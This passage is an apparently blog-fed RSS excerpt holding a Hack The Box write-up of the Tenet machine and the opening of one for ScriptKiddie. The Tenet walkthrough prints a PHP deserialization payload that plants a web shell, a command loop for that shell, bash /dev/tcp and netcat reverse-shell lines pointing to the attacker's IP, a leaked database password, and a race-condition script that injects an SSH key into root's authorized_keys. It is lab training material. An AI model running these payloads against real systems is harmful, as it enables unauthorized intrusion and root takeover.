<p>Thanks <a href="https://app.hackthebox.eu/users/94858"target="_blank" rel="noopener noreferrer">egotisticalSW</a>
for making this machine! I overall had a ton of fun. There was some difficulty on the root privesc. It took two days of attempting to finally get it working and switching to VIP+ servers. I think the challenge was I kept running into other people working on it at the same time and our scripts were clashing. I could see that getting very frustrating.</p>
</description>
</item>
<item>
<title>HTB Tenet</title>
<link>http://0xnightwolf.github.io/posts/tenet-writeup/</link>
<pubDate>Tue, 22 Jun 2021 00:00:00 +0000</pubDate>
<guid>http://0xnightwolf.github.io/posts/tenet-writeup/</guid>
<description><p><img src="http://0xnightwolf.github.io/img/tenet-logo.png"
alt/></p>
<p>Tenet starts off with a wordpress site. After some enumeration second domain is found and a PHP file vulnerable to object injection. From there, an attacker can get a shell, find credentials in a configuration file, and privesc to root by leveraging a race condition.</p>
<h2 id="enumeration">Enumeration</h2>
<p>NMAP shows port 22 is open for SSH and port 80 is running an HTTP server displaying the default apache2 page.</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>Starting Nmap 7.91 <span style="color:#f92672">(</span> https://nmap.org <span style="color:#f92672">)</span> at 2021-01-17 00:47 UTC
</span></span><span style="display:flex;"><span>Nmap scan report <span style="color:#66d9ef">for</span> 10.10.10.223
</span></span><span style="display:flex;"><span>Host is up <span style="color:#f92672">(</span>0.15s latency<span style="color:#f92672">)</span>.
</span></span><span style="display:flex;"><span>Not shown: <span style="color:#ae81ff">998</span> closed ports
</span></span><span style="display:flex;"><span>PORT STATE SERVICE VERSION
</span></span><span style="display:flex;"><span>22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 <span style="color:#f92672">(</span>Ubuntu Linux; protocol 2.0<span style="color:#f92672">)</span>
</span></span><span style="display:flex;"><span>| ssh-hostkey:
</span></span><span style="display:flex;"><span>| <span style="color:#ae81ff">2048</span> cc:ca:43:d4:4c:e7:4e:bf:26:f4:27:ea:b8:75:a8:f8 <span style="color:#f92672">(</span>RSA<span style="color:#f92672">)</span>
</span></span><span style="display:flex;"><span>| <span style="color:#ae81ff">256</span> 85:f3:ac:ba:1a:6a:03:59:e2:7e:86:47:e7:3e:3c:00 <span style="color:#f92672">(</span>ECDSA<span style="color:#f92672">)</span>
</span></span><span style="display:flex;"><span>|_ <span style="color:#ae81ff">256</span> e7:e9:9a:dd:c3:4a:2f:7a:e1:e0:5d:a2:b0:ca:44:a8 <span style="color:#f92672">(</span>ED25519<span style="color:#f92672">)</span>
</span></span><span style="display:flex;"><span>80/tcp open http Apache httpd 2.4.29 <span style="color:#f92672">((</span>Ubuntu<span style="color:#f92672">))</span>
</span></span><span style="display:flex;"><span>|_http-server-header: Apache/2.4.29 <span style="color:#f92672">(</span>Ubuntu<span style="color:#f92672">)</span>
</span></span><span style="display:flex;"><span>|_http-title: Apache2 Ubuntu Default Page: It works
</span></span><span style="display:flex;"><span>Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
</span></span><span style="display:flex;"><span>Nmap <span style="color:#66d9ef">done</span>: <span style="color:#ae81ff">1</span> IP address <span style="color:#f92672">(</span><span style="color:#ae81ff">1</span> host up<span style="color:#f92672">)</span> scanned in 14.61 seconds
</span></span></code></pre></div><p>The default page doesn&rsquo;t give us a whole lot of info and there doesn&rsquo;t seem to be a robots.txt. FFUF or another directory brute forcer can be used to learn there is a wordpress directory.</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>ffuf -u http://10.10.10.223/FUZZ -w /opt/dirbuster-wordlists/directory-list-2.3-medium.txt
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span> /<span style="color:#e6db74">&#39;___\ /&#39;</span>___<span style="color:#ae81ff">\ </span> /<span style="color:#960050;background-color:#1e0010">&#39;</span>___<span style="color:#ae81ff">\
</span></span></span><span style="display:flex;"><span><span style="color:#ae81ff"></span> /<span style="color:#ae81ff">\ \_</span>_/ /<span style="color:#ae81ff">\ \_</span>_/ __ __ /<span style="color:#ae81ff">\ \_</span>_/
</span></span><span style="display:flex;"><span> <span style="color:#ae81ff">\ \ </span>,__<span style="color:#ae81ff">\\</span> <span style="color:#ae81ff">\ </span>,__<span style="color:#ae81ff">\/\ \/\ \ \ \ </span>,__<span style="color:#ae81ff">\
</span></span></span><span style="display:flex;"><span><span style="color:#ae81ff"></span> <span style="color:#ae81ff">\ \ \_</span>/ <span style="color:#ae81ff">\ \ \_</span>/<span style="color:#ae81ff">\ \ \_\ \ \ \ \_</span>/
</span></span><span style="display:flex;"><span> <span style="color:#ae81ff">\ \_\ </span> <span style="color:#ae81ff">\ \_\ </span> <span style="color:#ae81ff">\ \_</span>___/ <span style="color:#ae81ff">\ \_\
</span></span></span><span style="display:flex;"><span><span style="color:#ae81ff"></span> <span style="color:#ae81ff">\/</span>_/ <span style="color:#ae81ff">\/</span>_/ <span style="color:#ae81ff">\/</span>___/ <span style="color:#ae81ff">\/</span>_/
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span> v1.1.0
</span></span><span style="display:flex;"><span>________________________________________________
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span> :: Method : GET
</span></span><span style="display:flex;"><span> :: URL : http://10.10.10.223/FUZZ
</span></span><span style="display:flex;"><span> :: Wordlist : FUZZ: /opt/dirbuster-wordlists/directory-list-2.3-medium.txt
</span></span><span style="display:flex;"><span> :: Follow redirects : false
</span></span><span style="display:flex;"><span> :: Calibration : false
</span></span><span style="display:flex;"><span> :: Timeout : <span style="color:#ae81ff">10</span>
</span></span><span style="display:flex;"><span> :: Threads : <span style="color:#ae81ff">40</span>
</span></span><span style="display:flex;"><span> :: Matcher : Response status: 200,204,301,302,307,401,403
</span></span><span style="display:flex;"><span>________________________________________________
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span> <span style="color:#f92672">[</span>Status: 200, Size: 10918, Words: 3499, Lines: 376<span style="color:#f92672">]</span>
</span></span><span style="display:flex;"><span><span style="color:#ae81ff">1</span> <span style="color:#f92672">[</span>Status: 200, Size: 1688, Words: 186, Lines: 43<span style="color:#f92672">]</span>
</span></span><span style="display:flex;"><span>wordpress <span style="color:#f92672">[</span>Status: 301, Size: 316, Words: 20, Lines: 10<span style="color:#f92672">]</span>
</span></span><span style="display:flex;"><span> <span style="color:#f92672">[</span>Status: 200, Size: 10918, Words: 3499, Lines: 376<span style="color:#f92672">]</span>
</span></span><span style="display:flex;"><span>server-status <span style="color:#f92672">[</span>Status: 403, Size: 277, Words: 20, Lines: 10<span style="color:#f92672">]</span>
</span></span><span style="display:flex;"><span>:: Progress: <span style="color:#f92672">[</span>220547/220547<span style="color:#f92672">]</span> :: Job <span style="color:#f92672">[</span>1/1<span style="color:#f92672">]</span> :: <span style="color:#ae81ff">276</span> req/sec :: Duration: <span style="color:#f92672">[</span>0:13:17<span style="color:#f92672">]</span> :: Errors: <span style="color:#ae81ff">0</span> ::
</span></span></code></pre></div><p>Adding <code>tenet.htb</code> to <code>/etc/hosts</code> will make it function better. Wordpress tends to want to redirect to a domain. There are a few articles talking about their newly coming services and mention of a site migration. On one post, there is a comment that references a &ldquo;sator.php&rdquo; file and a backup version of it. Seemingly, the site migration is incomplete.</p>
<p><img src="http://0xnightwolf.github.io/img/tenet-migrationcomment.png"
alt/></p>
<p>Sator dosent&rsquo; exist on this site this site. However, box might have multiple virtual hosts. That turns out to be the case. After <code>sator.tenet.htb</code> is added <code>/etc/hosts</code> a copy of the wordpress site seen found prior is accessible On this one, <code>sator.php</code> is present and more importantly, the aforementioned backup version of it, <code>sator.php.bak</code> is also accessible.</p>
<h2 id="foothold">Foothold</h2>
<p><img src="http://0xnightwolf.github.io/img/tenet-statorphpbak.png"
alt/></p>
<p><code>sator.php</code> takes input through the <code>arepo</code> parameter. That output is then deserialized. There is also a class that is called DatabaseExport that writes to a file Deseralizaiton can lead to some unintended results through object injection.</p>
<p>The <code>__destruct ()</code> function means PHP file can be leveraged to create object and from it a file. To pull this off, write a PHP file that mirrors sator.php but a bit different.</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-php" data-lang="php"><span style="display:flex;"><span><span style="color:#f92672">&lt;?</span><span style="color:#a6e22e">php</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">class</span> <span style="color:#a6e22e">DatabaseExport</span>
</span></span><span style="display:flex;"><span>{
</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">public</span> $user_file <span style="color:#f92672">=</span> <span style="color:#e6db74">&#39;users.txt&#39;</span>;
</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">public</span> $data <span style="color:#f92672">=</span> <span style="color:#e6db74">&#39;&#39;</span>;
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">public</span> <span style="color:#66d9ef">function</span> <span style="color:#a6e22e">update_db</span>()
</span></span><span style="display:flex;"><span> {
</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">echo</span> <span style="color:#e6db74">&#39;[+] Grabbing users from text file &lt;br&gt;&#39;</span>;
</span></span><span style="display:flex;"><span> $this<span style="color:#f92672">-&gt;</span> <span style="color:#a6e22e">data</span> <span style="color:#f92672">=</span> <span style="color:#e6db74">&#39;Sucess&#39;</span>;
</span></span><span style="display:flex;"><span> }
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">public</span> <span style="color:#66d9ef">function</span> __construct()
</span></span><span style="display:flex;"><span> {
</span></span><span style="display:flex;"><span> $this<span style="color:#f92672">-&gt;</span><span style="color:#a6e22e">user_file</span> <span style="color:#f92672">=</span> <span style="color:#e6db74">&#39;magic.php&#39;</span>;
</span></span><span style="display:flex;"><span> $this<span style="color:#f92672">-&gt;</span><span style="color:#a6e22e">data</span> <span style="color:#f92672">=</span> <span style="color:#e6db74">&#39;&lt;?php system(&#34;whoami&#34;); ?&gt;&#39;</span>;
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span> }
</span></span><span style="display:flex;"><span>}
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>$app <span style="color:#f92672">=</span> <span style="color:#66d9ef">new</span> <span style="color:#a6e22e">DatabaseExport</span>();
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">echo</span> <span style="color:#a6e22e">serialize</span>($app);
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">echo</span> <span style="color:#e6db74">&#34;</span><span style="color:#ae81ff">\n</span><span style="color:#e6db74">&#34;</span>;
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#75715e">?&gt;</span><span style="color:#960050;background-color:#1e0010">
</span></span></span></code></pre></div><p>Instead of a <code>__destruct</code> a is used <code>__construct</code> and a few other items are changed as well. The output file is going to be called <code>magic.php</code> and the contents will be some simple PHP code to execute the <code>whomami</code> command.</p>
<p>Running the above file using <code>php file</code> and outputs the following.</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-vim" data-lang="vim"><span style="display:flex;"><span><span style="color:#a6e22e">O</span>:<span style="color:#ae81ff">14</span>:<span style="color:#e6db74">&#34;DatabaseExport&#34;</span>:<span style="color:#ae81ff">2</span>:{<span style="color:#a6e22e">s</span>:<span style="color:#ae81ff">9</span>:<span style="color:#e6db74">&#34;user_file&#34;</span>;<span style="color:#a6e22e">s</span>:<span style="color:#ae81ff">9</span>:<span style="color:#e6db74">&#34;magic.php&#34;</span>;<span style="color:#a6e22e">s</span>:<span style="color:#ae81ff">4</span>:<span style="color:#e6db74">&#34;data&#34;</span>;<span style="color:#a6e22e">s</span>:<span style="color:#ae81ff">26</span>:<span style="color:#e6db74">&#34;&lt;?php system(&#34;</span><span style="color:#a6e22e">whoami</span><span style="color:#e6db74">&#34;); ?&gt;&#34;</span>;}<span style="color:#960050;background-color:#1e0010">
</span></span></span></code></pre></div><p>This can be sent to the server using the <code>arepo</code> argument. Then a request can be made to <code>10.10.10.223/magic.php</code>. The response is <code>www-data</code>, showing code execution.</p>
<p><em>If you are interested in learning more about PHP deserialization attacks, IppSec has some awesome videos I referenced while working on this. <a href="https://youtu.be/JpzREo7XLOY?t=4174"target="_blank" rel="noopener noreferrer">Player 2 PHP deserialization to place an SSH key.</a>
and <a href="https://www.youtube.com/watch?v=HaW15aMzBUM"target="_blank" rel="noopener noreferrer">Intro to PHP deserialization</a>
</em></p>
<p>This is a bit clumsy though and there are some ways it can be nicened up.</p>
<p>First <code>whoami</code> can be changed to instead take the argument <code>c</code> from a get request and execute using the system function.</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-php" data-lang="php"><span style="display:flex;"><span><span style="color:#f92672">&lt;?</span><span style="color:#a6e22e">php</span> <span style="color:#66d9ef">echo</span> <span style="color:#a6e22e">shell_exec</span>($_GET[<span style="color:#e6db74">&#39;c&#39;</span>]); <span style="color:#75715e">?&gt;</span><span style="color:#960050;background-color:#1e0010">
</span></span></span></code></pre></div><p>That can be created on the Tenet with following.
<code>http://sator.tenet.htb/sator.php?arepo=O:14:&quot;DatabaseExport&quot;:2:{s:9:&quot;user_file&quot;;s:9:&quot;magic.php&quot;;s:4:&quot;data&quot;;s:37:&quot;&lt;?php echo shell_exec($_GET[&quot;c&quot;]); ?&gt;&quot;;}</code></p>
<p>This is very workable and requests can be sent with curl, burp, postman, or even just a web browser. But console applications are cool.</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-python" data-lang="python"><span style="display:flex;"><span><span style="color:#f92672">import</span> requests
</span></span><span style="display:flex;"><span><span style="color:#f92672">import</span> readline
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>URI <span style="color:#f92672">=</span> input(<span style="color:#e6db74">&#34;Path to PHP shell. (http://example.site/file.php)</span><span style="color:#ae81ff">\n</span><span style="color:#e6db74">&#34;</span>)
</span></span><span style="display:flex;"><span>print(<span style="color:#e6db74">&#34;Sending commands to: &#34;</span> <span style="color:#f92672">+</span> URI)
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">while</span> <span style="color:#ae81ff">1</span>:
</span></span><span style="display:flex;"><span> command <span style="color:#f92672">=</span> input(<span style="color:#e6db74">&#34;&gt;&#34;</span>)
</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">if</span> command <span style="color:#f92672">==</span> <span style="color:#e6db74">&#39;exit&#39;</span>:
</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">break</span>
</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">else</span>:
</span></span><span style="display:flex;"><span> r <span style="color:#f92672">=</span> requests<span style="color:#f92672">.</span>get(URI<span style="color:#f92672">+</span> <span style="color:#e6db74">&#34;?c=&#34;</span> <span style="color:#f92672">+</span> command)
</span></span><span style="display:flex;"><span> print(r<span style="color:#f92672">.</span>text)
</span></span></code></pre></div><p>It&rsquo;s fairly simple in nature but it does give a way to send and receive commands a terminal like interface. Now that that is ready to go, it&rsquo;s time to get a proper reverse shell.</p>
<p>The old fallback of <code>basn -c 'bash -i &gt;&amp;/dev/tcp/&lt;ip&gt;/&lt;port&gt; 0&gt;&amp;1'</code> fails along with a similar one using netcat <code>nc -e /bin/sh &lt;ip&gt; &lt;port&gt;</code>. There is more than one way to send this payload though.</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span><span style="color:#75715e">#!/bin/bash
</span></span></span><span style="display:flex;"><span><span style="color:#75715e"></span>
</span></span><span style="display:flex;"><span>basn -c <span style="color:#e6db74">&#39;bash -i &gt;&amp;/dev/tcp/10.10.14.36/5678 0&gt;&amp;1&#39;</span>
</span></span></code></pre></div><p>This file is created and saved, a python HTTP server is started in the same directory, and a netcat listener on port 5678. Then we go back to back to our &ldquo;terminal&rdquo; access for Tenet, wget the file, mark it as executable and run it. Right away the netcat listener get&rsquo;s a connection.</p>
<p><img src="http://0xnightwolf.github.io/img/tenet-properreverseshellsteps.png"
alt/></p>
<h2 id="user">User</h2>
<p>The CWD is wordpress home directory. Listing the files shows the <code>wp-config.php</code> file. Inside are credentials configured for interacting with the MySQL database. <code>neil:Opera2112</code>. Neil used the same password for their login allowing SSH access directory to the box.</p>
<p><img src="http://0xnightwolf.github.io/img/tenet-wp-configphp.png"
alt/></p>
<h2 id="root">Root</h2>
<p><img src="http://0xnightwolf.github.io/img/tenet-neilsudopermissions.png"
alt/></p>
<p>Via <code>sudo -l</code> Niel&rsquo;s sudo permissions can be checked. It turns it out they can run a script called<code>EnableSSH.sh</code> with root permissions.</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>neil@tenet:~$ cat /usr/local/bin/enableSSH.sh
</span></span><span style="display:flex;"><span><span style="color:#75715e">#!/bin/bash</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>checkAdded<span style="color:#f92672">()</span> <span style="color:#f92672">{</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span> sshName<span style="color:#f92672">=</span><span style="color:#66d9ef">$(</span>/bin/echo $key | /usr/bin/cut -d <span style="color:#e6db74">&#34; &#34;</span> -f 3<span style="color:#66d9ef">)</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">if</span> <span style="color:#f92672">[[</span> ! -z <span style="color:#66d9ef">$(</span>/bin/grep $sshName /root/.ssh/authorized_keys<span style="color:#66d9ef">)</span> <span style="color:#f92672">]]</span>; <span style="color:#66d9ef">then</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span> /bin/echo <span style="color:#e6db74">&#34;Successfully added </span>$sshName<span style="color:#e6db74"> to authorized_keys file!&#34;</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">else</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span> /bin/echo <span style="color:#e6db74">&#34;Error in adding </span>$sshName<span style="color:#e6db74"> to authorized_keys file!&#34;</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">fi</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#f92672">}</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>checkFile<span style="color:#f92672">()</span> <span style="color:#f92672">{</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">if</span> <span style="color:#f92672">[[</span> ! -s $1 <span style="color:#f92672">]]</span> <span style="color:#f92672">||</span> <span style="color:#f92672">[[</span> ! -f $1 <span style="color:#f92672">]]</span>; <span style="color:#66d9ef">then</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span> /bin/echo <span style="color:#e6db74">&#34;Error in creating key file!&#34;</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">if</span> <span style="color:#f92672">[[</span> -f $1 <span style="color:#f92672">]]</span>; <span style="color:#66d9ef">then</span> /bin/rm $1; <span style="color:#66d9ef">fi</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span> exit <span style="color:#ae81ff">1</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">fi</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#f92672">}</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>addKey<span style="color:#f92672">()</span> <span style="color:#f92672">{</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span> tmpName<span style="color:#f92672">=</span><span style="color:#66d9ef">$(</span>mktemp -u /tmp/ssh-XXXXXXXX<span style="color:#66d9ef">)</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span> <span style="color:#f92672">(</span>umask 110; touch $tmpName<span style="color:#f92672">)</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span> /bin/echo $key &gt;&gt;$tmpName
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span> checkFile $tmpName
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span> /bin/cat $tmpName &gt;&gt;/root/.ssh/authorized_keys
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span> /bin/rm $tmpName
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#f92672">}</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>key<span style="color:#f92672">=</span><span style="color:#e6db74">&#34;ssh-rsa AAAAA3NzaG1yc2GAAAAGAQAAAAAAAQG+AMU8OGdqbaPP/Ls7bXOa9jNlNzNOgXiQh6ih2WOhVgGjqr2449ZtsGvSruYibxN+MQLG59VkuLNU4NNiadGry0wT7zpALGg2Gl3A0bQnN13YkL3AA8TlU/ypAuocPVZWOVmNjGlftZG9AP656hL+c9RfqvNLVcvvQvhNNbAvzaGR2XOVOVfxt+AmVLGTlSqgRXi6/NyqdzG5Nkn9L/GZGa9hcwM8+4nT43N6N31lNhx4NeGabNx33b25lqermjA+RGWMvGN8siaGskvgaSbuzaMGV9N8umLp6lNo5fqSpiGN8MQSNsXa3xXG+kplLn2W+pbzbgwTNN/w0p+Urjbl root@ubuntu&#34;</span>
</span></span><span style="display:flex;"><span>addKey
</span></span><span style="display:flex;"><span>checkAdded
</span></span></code></pre></div><p>The script is fairly simple in nature. First, it creates a temp file in <code>/tmp</code> and then it echos the root public root SSH key. Then it adds that file to the <code>/root/.ssh/authorized_keys</code> file and checks to make sure the key was added successfully.</p>
<p>This creates a race conidion. If that file is overwritten by a diffrent SSH key before it is added to <code>/root/.ssh/authorized_keys</code>, it would grant SSH access as the root user.</p>
<p>A simple bash can be used to check to check if the temp file has been created. If it has, it will be overwritten with a key key of our choosing. Place all this in a while loop and start it running.</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span><span style="color:#75715e">#!/bin/bash
</span></span></span><span style="display:flex;"><span><span style="color:#75715e"></span>
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">while</span> true; <span style="color:#66d9ef">do</span>
</span></span><span style="display:flex;"><span> echo <span style="color:#e6db74">&#34;Checking for temp file...&#34;</span>
</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">if</span> <span style="color:#f92672">[</span> <span style="color:#66d9ef">$(</span> ls /tmp/ssh-* 2&gt;/dev/null <span style="color:#66d9ef">)</span> <span style="color:#f92672">]</span>; <span style="color:#66d9ef">then</span>
</span></span><span style="display:flex;"><span> echo <span style="color:#e6db74">&#34;ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQC6+U/U+EtFlAU/0QuXeMehQgipru8HqD+TOoGMoM8pON+Brgvr0ThHzSq14wSC6F8yZsHbHYgb7gVutcNsADD+mkl+aZn97385WgWxwYZdW6a8VRLCRFr9nLZhwGeBEJC33+GbKyn3P5flagzgdTlhSBeNxuIh1ahxhnunpEQO7x+J8vyP1ZzYbU2ukApurzkMbV3osD7ovKIKxHc9zbPLOT/907tpz0bT4K3PLsh2FTNjK7xhTNWbqO975+x0d/Ni3UIcmyEb6APTz2ipxqWELpw041Fj6uxzq9pRWLuMypV9vCP9smybu22yEClb4t4J3r63qFl+hpzEwcO8JS7gdhUI9oB7VxyrcjLM4/5MPCnW0faulAUnpspWMsaqun2OjJ1tQMtVJKT3WkUT/We6CPx6YigxnQgV6nUHW3qZ3ZCgvHRot8IRpCYA/fImMcWhuseX5dWGHOJtL641h43xI8AZPQylNkPepCzEa5vQ/b+tKaG7cWxjVD4jbgg4ZRk= root@ubuntu&#34;</span> &gt; /tmp/ssh-*
</span></span><span style="display:flex;"><span> echo <span style="color:#e6db74">&#34;File found and overwritten&#34;</span>
</span></span><span style="display:flex;"><span> exit
</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">fi</span>
</span></span><span style="display:flex;"><span> echo <span style="color:#e6db74">&#34;File not found. Continuing.&#34;</span>
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">done</span>
</span></span></code></pre></div><p><code>EnableSSH.sh</code> can then be run from another session. The Overwrite script reports it found and overwrote a file and <code>EnableSSH.sh</code> tells us the key was added successfully.</p>
<p><img src="http://0xnightwolf.github.io/img/tenet-fileoverwritten.png"
alt/></p>
<p>The private key matching the public key used in the script can then be used to SSH to Tenet with root permissions.</p>
<h2 id="wrap-up">Wrap Up</h2>
<p>Thanks <a href="https://app.hackthebox.eu/users/94858"target="_blank" rel="noopener noreferrer">egotisticalSW</a>
for making this machine! I overall had a ton of fun. There was some difficulty on the root privesc. It took two days of attempting to finally get it working and switching to VIP+ servers. I think the challenge was I kept running into other people working on it at the same time and our scripts were clashing. I could see that getting very frustrating.</p>
</description>
</item>
<item>
<title>HTB ScriptKiddie</title>
<link>http://0xnightwolf.github.io/htb-writeups/scriptkiddie-writeup/</link>
<pubDate>Wed, 16 Jun 2021 00:00:00 -0600</pubDate>
<guid>http://0xnightwolf.github.io/htb-writeups/scriptkiddie-writeup/</guid>
<description><p><img src="http://0xnightwolf.github.io/img/scriptkiddie-logo.png"
alt/></p>
<p>In ScriptKiddie, we compromise a server run by a pair of script kiddies with an outdated version of msfvenom and chain several misconfigurations to achieve root access.</p>
<h2 id="enumeration">Enumeration</h2>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>Starting Nmap 7.91 <span style="color:#f92672">(</span> https://nmap.org <span style="color:#f92672">)</span> at 2021-02-07 15:33 UTC
</span></span><span style="display:flex;"><span>Nmap scan report <span style="color:#66d9ef">for</span> 10.10.10.226
</span></span><span style="display:flex;"><span>Host is up <span style="color:#f92672">(</span>0.19s latency<span style="color:#f92672">)</span>.
</span></span><span style="display:flex;"><span>Not shown: <span style="color:#ae81ff">998</span> closed ports
</span></span><span style="display:flex;"><span>PORT STATE SERVICE VERSION
</span></span><span style="display:flex;"><span>22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.1 <span style="color:#f92672">(</span>Ubuntu Linux; protocol 2.0<span style="color:#f92672">)</span>
</span></span><span style="display:flex;"><span>| ssh-hostkey:
</span></span><span style="display:flex;"><span>| <span style="color:#ae81ff">3072</span> 3c:65:6b:c2:df:b9:9d:62:74:27:a7:b8:a9:d3:25:2c <span style="color:#f92672">(</span>RSA<span style="color:#f92672">)</span>
</span></span><span style="display:flex;"><span>| <span style="color:#ae81ff">256</span> b9:a1:78:5d:3c:1b:25:e0:3c:ef:67:8d:71:d3:a3:ec <span style="color:#f92672">(</span>ECDSA<span style="color:#f92672">)</span>
</span></span><span style="display:flex;"><span>|_ <span style="color:#ae81ff">256</span> 8b:cf:41:82:c6:ac:ef:91:80:37:7c:c9:45:11:e8:43 <span style="color:#f92672">(</span>ED25519<span style="color:#f92672">)</span>
</span></span><span style="display:flex;"><span>5000/tcp open http Werkzeug httpd 0.16.1 <span style="color:#f92672">(</span>Python 3.8.5<span style="color:#f92672">)</span>
</span></span><span style="display:flex;"><span>|_http-title: k1d<span style="color:#960050;background-color:#1e0010">&#39;</span><span style="color:#ae81ff">5</span> h4ck3r t00l5
</span></span><span style="display:flex;"><span>Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
</span></span><span style="display:flex;"><span>Nmap <span style="color:#66d9ef">done</span>: <span style="color:#ae81ff">1</span> IP address <span style="color:#f92672">(</span><span style="color:#ae81ff">1</span> host up<span style="color:#f92672">)</span> scanned in 30.26 seconds
</span></span></code></pre></div><p>NMAP shows there is an SSH server which will be quiet useful late. For now since there are no know credentials or see an obvious vulnerability take a look at the web server on port 5000.</p>
<p><img src="http://0xnightwolf.github.io/img/scriptkiddie-h4ck3rt00l5.png"
alt/></p>
<p>The site is a page single page of various <em>h4ck3r t00l5</em>, NMAP, an msfvenom payload generator, and a search bar for Exploit DB. There doesn&rsquo;t seem to be a whole lot more on the web server. Payloads can be generated and have an upload feature but outside of that and viewing the output from Exploit DB and NMAP there isn&rsquo;t much on the site.</p>
<h2 id="foothold">Foothold</h2>
<p>It&rsquo;s worth fuzzing by trying various special characters in the input fields for the nmap and exploit-db, and msfvenom input fields to see if there is a way to break it and achieve code execution. This doesn&rsquo;t yield much and it seems there is some level of filtering in place.</p>
<p><img src="http://0xnightwolf.github.io/img/scriptkiddie-stophackingme.png"
alt/></p>
